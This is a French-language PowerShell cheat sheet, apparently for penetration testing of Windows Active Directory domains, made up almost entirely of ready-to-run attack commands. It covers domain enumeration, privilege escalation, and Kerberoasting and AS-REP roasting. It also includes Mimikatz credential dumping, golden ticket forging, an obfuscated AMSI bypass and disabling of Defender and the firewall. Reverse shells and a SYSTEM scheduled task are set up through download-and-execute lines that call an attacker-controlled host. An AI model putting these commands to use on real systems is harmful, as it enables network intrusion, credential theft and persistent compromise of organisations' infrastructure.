RECON

Scan de réseau :

1..255 | % {echo "172.16.100.$_"; ping -n 1 -w 100 172.16.100.$_} | Select-String ttl

Recon with ActiveDirectory module (dll signée par Microsoft donc + légit) :

https://github.com/samratashok/ADModule/blob/master/Microsoft.ActiveDirectory.Management.dll

Get-ADForest
Get-ADDomainController -DomainName <DOMAIN> -Discover
Get-ADTrust -Identity <ROOT DOMAIN>
Get-ADTrust -Filter *
Get-ADComputer -Filter *
Get-ADGroup -filter *
Get-ADuser -filter *
Get-ADGroupMember -Identity <DistinguishedName>
Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Recon with PowerView.ps1 :

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Enumération du domaine (utilisateurs, postes, groupes)

Get-NetUser
Get-NetComputer
Get-NetGroup -GroupName "Domain Admins" -FullData
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetForest
Get-NetForestDomain
Get-NetForestTrust

Enumération des utilisateurs sans mots de passe avec le module ActiveDirectory :

Get-ADUser -Filter {PasswordNotRequired -eq $true}

Enumération des partages réseau

Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC
 –Verbose

Enumération des OU de l’annuaire

Get-NetOU
Get-NetOU MySuperOU | %{Get-NetComputer -ADSPath $_}

Enumération des GPO

Get-NetGPO
(Get-NetOU MySuperOU -FullData).gplink

Enumération des ACLs

Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "MySuperOU"}

Enumération de la forêt et des domaines

Get-NetForestDomain -Verbose
Get-NetDomainTrust

Détecter si le mode Constrained est activé

PS C:> $ExecutionContext.SessionState.LanguageM
ode
-> ConstrainedLanguage

Bypasser le ConstrainedLanguage

// Pour compiler : 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:".\System.Management.Automation.dll" .\Bypass.cs

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace CLMBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            String cmd = args[0];
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

Et ensuite : .\Bypass.exe « YOUR COMMAND IN FULL LANGUAGE »


Lister les règles AppLocker

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Analyser l’annuaire avec BloodHound :

https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

import-module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All


TRANSFERT DE FICHIERS

Copier un fichier via SMB

PS C:> Copy-Item .\Invoke-MimikatzEx.ps1 \\<COMPUTER>\c$\'Program Files'

Copier un fichier via HTTP

PS C:> iwr http://<COMPUTER>/Invoke-PowerShellTcp.ps1 -outfile Invoke-PowerShellTcp.ps1

PRIVESC

Privesc with PowerUp.ps1 :

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

Vérification globale :

Invoke-AllChecks

Recherche de services vulnérables

Get-ServiceUnquoted
Get-ModifiableServiceFile -Verbose
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'mycurrentuser'

Recherche d’accès admin sur une autre machine du domaine

Find-LocalAdminAccess -Verbose
import-module .\Find-PSRemotingLocalAdminAccess.ps1; 
Find-PSRemotingLocalAdminAccess

Recherche d’admin connectés sur une autre machine

import-module .\PowerView.ps1
Invoke-UserHunter
Invoke-UserHunter -CheckAccess

Modifier le mot de passe d’un utilisateur avec PowerView.ps1

import-module .\PowerView.ps1
$UserPassword = ConvertTo-SecureString '123Soleil!' -AsPlainText -Force
Set-DomainUserPassword -Identity Administrator -AccountPassword $UserPassword 

Executer Mimikatz dans une session PSRemoting

$pwd = ConvertTo-SecureString <PASSWORD> -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("Administrator",$pwd)
New-PSSession -ComputerName <server_fqdn> -Credential $cred
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -ScriptBlock {iwr <MY_IP_ADDRESS>/Invoke-Mimikatz.ps1 -UseBasicParsing -outfile mimi.ps1; . .\mimi.ps1; Invoke-Mimikatz;} -Session $sess

S’attribuer les droits sur l’objet AdminSDHolder

import-module activedirectory
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal <MY_USER> -Verbose

Modifier le mot de passe d’un utilisateur

Set-ADAccountPassword -Identity NewUser -NewPassword (ConvertTo-SecureString "[email protected]" -AsPlainText -Force) -Verbose

S’attribuer les droits sur un objet/utilisateur/machine

Set-ADACL -DistinguishedName 'DC=DC01,DC=domain,DC=local' -Principal <MY_USER> -GUIDRight All -Verbose

Récupérer les mots de passe lors du logon

# On upload mimilib.dll dans le System32 de la victime

$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages'

$packages += "mimilib"

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\-Name' Security Packages' -Value $packages

Invoke-Mimikatz -Command '"misc::memssp"'

# Lors du logon les mots de passe en clair sont enregistrés : C:\Windows\system32\kiwissp.log

TICKETS ET ATTAQUES KERBEROS

Rechercher les délégations sans contraintes

Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Faire de l’ASREPRoasting avec ASREPRoast.ps1 (No PREAUTH Users)

https://github.com/HarmJ0y/ASREPRoast

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast

Affecter un SPN à un utilisateur (targeted SPN)

import-module .\activedirectory
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Add='<SPN>'} 

Faire du Kerberoasting avec le module ActiveDirectory

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <SPN>

Faire du Kerberoasting avec PowerView et tgsrepcrack.py

https://github.com/nidem/kerberoast

. .\PowerView.ps1

Get-NetUser -SPN

Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::list /export"'

python.exe .\tgsrepcrack.py <WORDLIST> <TICKET.kirbi>

Faire du Kerberoasting avec Rubeus.exe (TGS des SPN)

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

.\Rubeus.exe kerberoast /creduser:mydomain.local\myuser /credpassword:mypassword /outfile:AS_REP-hash.txt /format:hashcat


.\hashcat64.exe -m 18200 AS_REP-hash.txt -a 0 c:\wordlists\rockyou.txt

Récupérer les hashs NT du domaine

Enter-PSSession -ComputerName <DC_COMPUTER>
<BYPASS AMSI CODE>
iex (iwr http://<my_ip_address>/Invoke-Mimikatz.ps1 -UseBasicParsing);
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Générer un golden ticket et faire du pass the hash

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NT_HASH> /ptt"'

Délégation sans contraintes et bug du spouler d’impressions

-> Une fonctionnalité de MS-RPRN permet à un utilisateur authentifié de forcer une machine du domaine utilisant le spouleur d’impression de se connecter à une seconde machine du domaine

https://github.com/GhostPack/Rubeus

https://github.com/leechristensen/SpoolSample

# Lancer Rubeus en mode moniteur sur l'attaquant
.\Rubeus.exe monitor /interval:5 /nowrap

# Lancer l'attaque depuis le poste attaquant
.\MS-RPRN.exe \\CLIENT_HOSTNAME \\ATTACKER_HOSTNAME

# injecter le ticket
.\Rubeus.exe ptt /ticket

REVERSE SHELL

Ecouter sur un port local avec Powercat.ps1 :

https://github.com/besimorhino/powercat/blob/master/powercat.ps1

import-module .\powercat.ps1; powercat -l -v -p 443

Puis exécuter un reverse shell sur la cible :

avec Invoke-PowerShellTcp.ps1 :

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

powershell.exe -exec bypass -c  "iwr 'http://<my_ip_address>/Invoke-PowerShellTcp.ps1' -UseBasicParsing | iex; Power -Reverse -IPAddress <my_ip_address> -Port <my_port>"

ANTIVIRUS AND FIREWALL

Désactiver l’antivirus

Set-MpPreference -PUAProtection 0
Set-MpPreference -DisableArchiveScanning  $true
Set-MpPreference -DisableIntrusionPreventionSystem  $true
Set-MpPreference -DisableRealtimeMonitoring $true

Récupérer les exclusions de l’antivirus

 Get-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPath

Activer l’accès RDP

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Désactiver complètement le pare-feu

netsh advfirewall set allprofiles state off

Translation de ports

netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDR listenport=LOCAL_PORT connectaddress=DEST_ADDR connectport=DEST_PORT

DISK IS LAVA

Bypasser l’AMSI et injecter directement en mémoire PowerView.ps1

PS C:> S`eT-It`em ( 'V'+'aR' +'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
PS C:> iex (iwr http://<my_ip_address>/PowerView.ps1 -UseBasicParsing)

Exécuter des commandes à distance via PowerView

import-module .\PowerView.ps1
Invoke-Command -ComputerName <COMPUTER> -ScriptBlock {<COMMAND>}

Exécuter un Mimikatz en mémoire à distance via PowerView

import-module .\PowerView.ps1

invoke-command -computername <COMPUTER> -scriptblock {Set-MpPreference -DisableIOAVProtection $true}

invoke-command -computername <COMPUTER> -scriptblock {iex (iwr http://<my_ip_address>/Invoke-Mimikatz.ps1 -UseBasicParsing); Invoke-Mimikatz;}

PERSISTANCE

Créer une tache planifiée

 schtasks /create /S <COMPUTER> /SC
Weekly /RU "NT Authority\SYSTEM" /TN myTask /TR "powershell.exe -c 'iex
(New-Object Net.WebClient).DownloadString(''http://<my_ip_addr>/InvokePowerShellTcp.ps1''')'"

 schtasks /Run /S <COMPUTER> /TN myTask



TODO

GetGPP
Delegation